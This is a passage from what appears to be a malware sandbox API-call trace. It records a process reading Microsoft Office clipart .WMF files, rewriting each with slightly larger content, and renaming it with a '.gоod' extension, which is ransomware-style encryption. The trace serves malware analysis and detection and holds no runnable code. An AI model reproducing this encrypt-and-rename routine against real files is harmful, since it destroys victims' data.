nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3aa3818*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0261.022] CloseHandle (hObject=0x864) returned 1 [0261.022] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF", lpFilePart=0x0) returned 0x44 [0261.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0261.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0261.022] GetFileType (hFile=0x864) returned 0x1 [0261.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0261.022] GetFileType (hFile=0x864) returned 0x1 [0261.022] ReadFile (in: hFile=0x864, lpBuffer=0x3aa5ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3aa5ad8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0261.722] CloseHandle (hObject=0x864) returned 1 [0261.722] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF", lpFilePart=0x0) returned 0x44 [0261.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0261.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0261.722] GetFileType (hFile=0x864) returned 0x1 [0261.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0261.722] GetFileType (hFile=0x864) returned 0x1 [0261.722] WriteFile (in: hFile=0x864, lpBuffer=0x3820e90*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3820e90*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0261.723] CloseHandle (hObject=0x864) returned 1 [0261.723] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF", lpFilePart=0x0) returned 0x44 [0261.723] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0261.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0261.723] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9835b413, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x15dc)) returned 1 [0261.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0261.723] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.gоod")) returned 1 [0261.724] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF", lpFilePart=0x0) returned 0x44 [0261.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0261.725] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x396c668 | out: lpFileInformation=0x396c668*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc4)) returned 1 [0261.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0261.725] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF", lpFilePart=0x0) returned 0x44 [0261.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0261.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0261.725] GetFileType (hFile=0x864) returned 0x1 [0261.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0261.725] GetFileType (hFile=0x864) returned 0x1 [0261.725] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xdc4 [0261.725] ReadFile (in: hFile=0x864, lpBuffer=0x396d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x396d6d8*, lpNumberOfBytesRead=0x1faedc88*=0xdc4, lpOverlapped=0x0) returned 1 [0261.726] CloseHandle (hObject=0x864) returned 1 [0261.753] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF", lpFilePart=0x0) returned 0x44 [0261.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0261.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0261.754] GetFileType (hFile=0x864) returned 0x1 [0261.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0261.754] GetFileType (hFile=0x864) returned 0x1 [0261.754] WriteFile (in: hFile=0x864, lpBuffer=0x39e9008*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x39e9008*, lpNumberOfBytesWritten=0x1faedb98*=0xdd0, lpOverlapped=0x0) returned 1 [0261.754] CloseHandle (hObject=0x864) returned 1 [0261.754] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF", lpFilePart=0x0) returned 0x44 [0261.754] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0261.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0261.754] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x983a78d5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdd0)) returned 1 [0261.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0261.755] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.gоod")) returned 1 [0261.756] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF", lpFilePart=0x0) returned 0x44 [0261.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0261.756] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x39ea298 | out: lpFileInformation=0x39ea298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b8)) returned 1 [0261.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0261.756] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF", lpFilePart=0x0) returned 0x44 [0261.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0261.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0261.756] GetFileType (hFile=0x864) returned 0x1 [0261.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0261.756] GetFileType (hFile=0x864) returned 0x1 [0261.756] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x9b8 [0261.756] ReadFile (in: hFile=0x864, lpBuffer=0x39eaef8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x39eaef8*, lpNumberOfBytesRead=0x1faedc88*=0x9b8, lpOverlapped=0x0) returned 1 [0261.934] CloseHandle (hObject=0x864) returned 1 [0261.959] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF", lpFilePart=0x0) returned 0x44 [0261.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0261.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0261.960] GetFileType (hFile=0x864) returned 0x1 [0261.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0261.960] GetFileType (hFile=0x864) returned 0x1 [0261.960] WriteFile (in: hFile=0x864, lpBuffer=0x3906c80*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3906c80*, lpNumberOfBytesWritten=0x1faedb98*=0x9c0, lpOverlapped=0x0) returned 1 [0261.960] CloseHandle (hObject=0x864) returned 1 [0261.960] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF", lpFilePart=0x0) returned 0x44 [0261.960] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0261.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0261.960] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x985977c4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9c0)) returned 1 [0261.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0261.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.gоod")) returned 1 [0261.962] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF", lpFilePart=0x0) returned 0x44 [0261.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0261.962] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3907f10 | out: lpFileInformation=0x3907f10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x68c)) returned 1 [0261.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0261.962] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF", lpFilePart=0x0) returned 0x44 [0261.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0261.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0261.962] GetFileType (hFile=0x864) returned 0x1 [0261.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0261.962] GetFileType (hFile=0x864) returned 0x1 [0261.962] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x68c [0261.962] ReadFile (in: hFile=0x864, lpBuffer=0x3908848, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3908848*, lpNumberOfBytesRead=0x1faedc88*=0x68c, lpOverlapped=0x0) returned 1 [0261.963] CloseHandle (hObject=0x864) returned 1 [0262.439] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF", lpFilePart=0x0) returned 0x44 [0262.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0262.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0262.440] GetFileType (hFile=0x768) returned 0x1 [0262.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0262.441] GetFileType (hFile=0x768) returned 0x1 [0262.441] WriteFile (in: hFile=0x768, lpBuffer=0x39f14e8*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x39f14e8*, lpNumberOfBytesWritten=0x1faedb98*=0x690, lpOverlapped=0x0) returned 1 [0262.441] CloseHandle (hObject=0x768) returned 1 [0262.441] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF", lpFilePart=0x0) returned 0x44 [0262.441] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0262.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0262.441] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x98a35ff8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x690)) returned 1 [0262.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0262.441] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.gоod")) returned 1 [0263.093] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF", lpFilePart=0x0) returned 0x44 [0263.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0263.093] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x394b840 | out: lpFileInformation=0x394b840*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf38)) returned 1 [0263.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0263.125] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF", lpFilePart=0x0) returned 0x44 [0263.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0263.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0263.126] GetFileType (hFile=0x85c) returned 0x1 [0263.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0263.126] GetFileType (hFile=0x85c) returned 0x1 [0263.126] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xf38 [0263.127] ReadFile (in: hFile=0x85c, lpBuffer=0x39cb4f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x39cb4f0*, lpNumberOfBytesRead=0x1faedc88*=0xf38, lpOverlapped=0x0) returned 1 [0263.127] CloseHandle (hObject=0x85c) returned 1 [0263.154] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF", lpFilePart=0x0) returned 0x44 [0263.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0263.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0263.155] GetFileType (hFile=0x85c) returned 0x1 [0263.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0263.155] GetFileType (hFile=0x85c) returned 0x1 [0263.155] WriteFile (in: hFile=0x85c, lpBuffer=0x3a4c138*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3a4c138*, lpNumberOfBytesWritten=0x1faedb98*=0xf40, lpOverlapped=0x0) returned 1 [0263.156] CloseHandle (hObject=0x85c) returned 1 [0263.156] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF", lpFilePart=0x0) returned 0x44 [0263.156] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0263.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0263.156] GetFileAttributesExW (in: lpFileName="C:\\Program 